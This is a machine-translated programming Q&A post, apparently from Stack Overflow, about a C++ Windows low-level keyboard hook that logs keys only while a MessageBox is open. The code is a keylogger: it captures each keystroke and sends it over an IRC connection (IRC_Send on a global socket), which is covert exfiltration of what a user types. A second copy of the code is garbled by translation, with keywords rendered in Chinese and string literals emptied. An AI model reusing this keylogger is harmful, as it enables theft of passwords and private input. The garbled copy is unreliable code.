C++ 用钩子读钥匙

C++ 用钩子读钥匙,c++,logging,key,hook,C++,Logging,Key,Hook,我目前正在开发一个程序,正在研究使用钩子来读取按下的键,但遇到了一个奇怪的问题。下面的代码就是我正在使用的代码,我想知道,为什么messageboxA()语句似乎结束了日志,但是删除该语句会使日志无法工作 LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); // If key i

我目前正在开发一个程序,正在研究使用钩子来读取按下的键,但遇到了一个奇怪的问题。下面的代码就是我正在使用的代码,我想知道,为什么messageboxA()语句似乎结束了日志,但是删除该语句会使日志无法工作

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

    // If key is being pressed
    if (wParam == WM_KEYDOWN) {
        switch (p->vkCode) {

            // Invisible keys
            case VK_CAPITAL: IRC_Send(globSock, MSG_PRIVMSG, "<CAPLOCK>");  break;
            case VK_LCONTROL:   IRC_Send(globSock, MSG_PRIVMSG, "<LCTRL>"); break;
            case VK_RCONTROL:   IRC_Send(globSock, MSG_PRIVMSG, "<RCTRL>"); break;
            case VK_INSERT:     IRC_Send(globSock, MSG_PRIVMSG, "<INSERT>");    break;
            case VK_END:        IRC_Send(globSock, MSG_PRIVMSG, "<END>");   break;
            case VK_PRINT:      IRC_Send(globSock, MSG_PRIVMSG, "<PRINT>"); break;
            case VK_DELETE:     IRC_Send(globSock, MSG_PRIVMSG, "<DEL>");   break;
            case VK_BACK:       IRC_Send(globSock, MSG_PRIVMSG, "<BACKSPACE>"); break;

            case VK_SHIFT: IRC_Send(globSock, MSG_PRIVMSG, "<SHIFT>"); break;
            case VK_LEFT:       IRC_Send(globSock, MSG_PRIVMSG, "<LEFT>");  break;
            case VK_RIGHT:      IRC_Send(globSock, MSG_PRIVMSG, "<RIGHT>"); break;
            case VK_UP:         IRC_Send(globSock, MSG_PRIVMSG, "<UP>");    break;
            case VK_DOWN:       IRC_Send(globSock, MSG_PRIVMSG, "<DOWN>");  break;
            case 0x30: IRC_Send(globSock, MSG_PRIVMSG, "<0>"); break;   
            case 0x31: IRC_Send(globSock, MSG_PRIVMSG, "<1>"); break;
            case 0x32: IRC_Send(globSock, MSG_PRIVMSG, "<2>"); break;
            case 0x33: IRC_Send(globSock, MSG_PRIVMSG, "<3>"); break;
            case 0x34: IRC_Send(globSock, MSG_PRIVMSG, "<4>"); break;
            case 0x35: IRC_Send(globSock, MSG_PRIVMSG, "<5>"); break;
            case 0x36: IRC_Send(globSock, MSG_PRIVMSG, "<6>"); break;
            case 0x37: IRC_Send(globSock, MSG_PRIVMSG, "<7>"); break;
            case 0x38: IRC_Send(globSock, MSG_PRIVMSG, "<8>"); break;
            case 0x39: IRC_Send(globSock, MSG_PRIVMSG, "<9>"); break;
            case 0x41: IRC_Send(globSock, MSG_PRIVMSG, "<A>"); break;
            case 0x42: IRC_Send(globSock, MSG_PRIVMSG, "<B>"); break;
            case 0x43: IRC_Send(globSock, MSG_PRIVMSG, "<C>"); break;
            case 0x44: IRC_Send(globSock, MSG_PRIVMSG, "<D>"); break;
            case 0x45: IRC_Send(globSock, MSG_PRIVMSG, "<E>"); break;
            case 0x46: IRC_Send(globSock, MSG_PRIVMSG, "<F>"); break;
            case 0x47: IRC_Send(globSock, MSG_PRIVMSG, "<G>"); break;
            case 0x48: IRC_Send(globSock, MSG_PRIVMSG, "<H>"); break;
            case 0x49: IRC_Send(globSock, MSG_PRIVMSG, "<I>"); break;
            case 0x4A: IRC_Send(globSock, MSG_PRIVMSG, "<J>"); break;
            case 0x4B: IRC_Send(globSock, MSG_PRIVMSG, "<K>"); break;
            case 0x4C: IRC_Send(globSock, MSG_PRIVMSG, "<L>"); break;
            case 0x4D: IRC_Send(globSock, MSG_PRIVMSG, "<M>"); break;
            case 0x4E: IRC_Send(globSock, MSG_PRIVMSG, "<N>"); break;
            case 0x4F: IRC_Send(globSock, MSG_PRIVMSG, "<O>"); break;
            case 0x50: IRC_Send(globSock, MSG_PRIVMSG, "<P>"); break;
            case 0x51: IRC_Send(globSock, MSG_PRIVMSG, "<Q>"); break;
            case 0x52: IRC_Send(globSock, MSG_PRIVMSG, "<R>"); break;
            case 0x53: IRC_Send(globSock, MSG_PRIVMSG, "<S>"); break;
            case 0x54: IRC_Send(globSock, MSG_PRIVMSG, "<T>"); break;
            case 0x55: IRC_Send(globSock, MSG_PRIVMSG, "<U>"); break;
            case 0x56: IRC_Send(globSock, MSG_PRIVMSG, "<V>"); break;
            case 0x57: IRC_Send(globSock, MSG_PRIVMSG, "<W>"); break;
            case 0x58: IRC_Send(globSock, MSG_PRIVMSG, "<X>"); break;
            case 0x59: IRC_Send(globSock, MSG_PRIVMSG, "<Y>"); break;
            case 0x5A: IRC_Send(globSock, MSG_PRIVMSG, "<Z>"); break;

            // Visible keys
            //default:
            //  out << char(tolower(p->vkCode)); IRC_Send(globSock, MSG_PRIVMSG, char(tolower(p->vkCode))); break;
        }
    }

    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

BOOL EstablishHook()
{   

    unsigned long start = GetTickCount();
    HINSTANCE hMyInstance = GetModuleHandle(NULL);

        HHOOK keyboardHook = SetWindowsHookEx(
        WH_KEYBOARD_LL,
        keyboardHookProc,
        hMyInstance,
        0);

    MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
        return true;

}
LRESULT回调keyboardHookProc(int-nCode,WPARAM-WPARAM,LPARAM-LPARAM){
PKBDLLHOOKSTRUCT p=(PKBDLLHOOKSTRUCT)(lParam);
//如果正在按下该键
if(wParam==WM_KEYDOWN){
开关(p->vkCode){
//隐形钥匙
案例VK_大写:IRC_Send(globSock,MSG_PRIVMSG,“”);break;
案例VK_l控制:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例控制:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例VK_插入:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例VK_END:IRC_Send(globSock,MSG_PRIVMSG,“”);break;
案例VK_打印:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例VK_删除:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例VK_BACK:IRC_Send(globSock,MSG_PRIVMSG,“”);break;
案例VK_移位:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例VK_左:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例VK_右:IRC_Send(globSock,MSG_PRIVMSG,“”);break;
案例VK_UP:IRC_Send(globSock,MSG_PRIVMSG,“”);break;
案例VK_DOWN:IRC_Send(globSock,MSG_PRIVMSG,“”);break;
案例0x30:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x31:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x32:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x33:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x34:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x35:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x36:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x37:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x38:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x39:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x41:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x42:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x43:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x44:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x45:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x46:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x47:IRC_Send(globSock,MSG_PRIVMSG,“”);break;
案例0x48:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x49:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x4A:IRC_Send(globSock,MSG_PRIVMSG,“”);break;
案例0x4B:IRC_Send(globSock,MSG_PRIVMSG,“”);break;
案例0x4C:IRC_Send(globSock,MSG_PRIVMSG,“”);break;
案例0x4D:IRC_发送(globSock,MSG_PRIVMSG,“”);中断;
案例0x4E:IRC_Send(globSock,MSG_PRIVMSG,“”);break;
案例0x4F:IRC_Send(globSock,MSG_PRIVMSG,“”);break;
案例0x50:IRC_发送(globSock,MSG_PRIVMSG,“

”);中断; 案例0x51:IRC_发送(globSock,MSG_PRIVMSG,“”);中断; 案例0x52:IRC_发送(globSock,MSG_PRIVMSG,“”);中断; 案例0x53:IRC_发送(globSock,MSG_PRIVMSG,“”);中断; 案例0x54:IRC_发送(globSock,MSG_PRIVMSG,“”);中断; 案例0x55:IRC_发送(globSock,MSG_PRIVMSG,“”);中断; 案例0x56:IRC_发送(globSock,MSG_PRIVMSG,“”);中断; 案例0x57:IRC_发送(globSock,MSG_PRIVMSG,“”);中断; 案例0x58:IRC_发送(globSock,MSG_PRIVMSG,“”);中断; 案例0x59:IRC_发送(globSock,MSG_PRIVMSG,“”);中断; 案例0x5A:IRC_Send(globSock,MSG_PRIVMSG,“”);break; //可见键 //默认值: //输出vkCode);IRC_发送(globSock、MSG_PRIVMSG、char(tolower(p->vkCode));中断; } } 返回CallNextHookEx(NULL、nCode、wParam、lParam); } BOOL hook() { unsigned long start=GetTickCount(); HINSTANCE hMyInstance=GetModuleHandle(NULL); HHOOK keyboardHook=setWindowshookx( 在键盘上, 键盘钩子程序, 嗯,立场,, 0); MessageBox(NULL,“按OK停止记录”,“信息”,MB_OK); 返回true; }


忘记添加keyboardHookProc是上面另一个基于PKBDLLHOOKSTRUCT VKCodes的句柄和开关的过程keyboardHookProc应该是回调方法,我想是这样,请提供更多的代码。我发布了完整的代码它可能与从键盘获取的消息有关。就像当你放置消息框时,你会得到循环中的所有键盘消息,但当你移除它时,你不会得到任何东西,请参考GetMessage()和SendMessage()之类的东西。但奇怪的是,为什么消息框会决定是否读取了键?我甚至放了一个定制的messagebox,在这里你可以把参数传递给一个创建messagebox的函数,即使这样,如果你删除了messagebox部分,它也不起作用。